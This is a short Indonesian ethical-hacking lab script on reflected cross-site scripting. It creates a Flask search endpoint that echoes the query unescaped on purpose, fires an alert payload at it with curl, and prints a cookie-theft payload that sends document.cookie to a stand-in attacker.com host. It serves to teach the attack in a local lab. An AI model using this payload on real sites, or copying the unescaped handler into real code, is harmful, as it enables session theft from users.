EH-07: Reflected XSS - Cross-Site Scripting Dasar

cd ~ && mkdir -p eth-l7 && cd eth-l7

cat > server.py << 'PYEOF'
from flask import Flask, request
app = Flask(__name__)
@app.route('/search')
def search():
    q = request.args.get('q','')
    return f"<h3>Hasil: {q}</h3><p>1. Hasil 1</p>"
app.run(port=9005)
PYEOF

python3 server.py &
sleep 1

echo "=== 1. XSS via URL ==*"
curl -s "http://localhost:9005/search?q=<script>alert('XSS')</script>" | grep "<script>"

echo ""
echo "=== 2. Cookie Theft ==*"
echo "Payload: <script>fetch('http://attacker.com/steal?c='+document.cookie)</script>"
echo "Saat user buka link → cookie terkirim ke attacker!"

kill %1 2>/dev/null